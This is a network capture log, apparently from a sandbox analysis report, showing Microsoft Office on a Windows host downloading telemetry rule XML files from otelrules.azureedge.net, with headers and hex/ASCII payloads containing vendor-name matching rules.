2024-11-20 23:03:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230328Z-r1d97b99577ndm4rhC1TEBf0ps00000009n000000000d5gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:28 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3369a0ea-601e-0002-63f2-3aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230329Z-r1d97b99577lxltfhC1TEByw2s00000009k000000000cq0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230329Z-178bfbc474bwlrhlhC1NYCy3kg00000000rg000000000yqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:29 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230329Z-178bfbc474bwh9gmhC1NYCy3rs00000000mg0000000185p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:29 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:30 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 97a1c02f-601e-000d-2ca0-3b2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230330Z-r1d97b99577hc74hhC1TEBvbns000000098000000000ug1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 23:03:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:29 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230330Z-178bfbc474btvfdfhC1NYCa2en00000000pg00000000tzny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230331Z-178bfbc474b7cbwqhC1NYC8z4n00000000mg000000007g7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:31 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230331Z-1777c6cb754j8gqphC1TEB5bf80000000a900000000001dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:31 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:31 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230331Z-178bfbc474bwh9gmhC1NYCy3rs00000000s000000000b8fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230332Z-1777c6cb754whff4hC1TEBcd6c00000008x000000000cr3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 302889d7-401e-0047-2e63-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230332Z-178bfbc474bv587zhC1NYCny5w00000000e00000000022us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230333Z-1777c6cb754j8gqphC1TEB5bf80000000a900000000001hq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
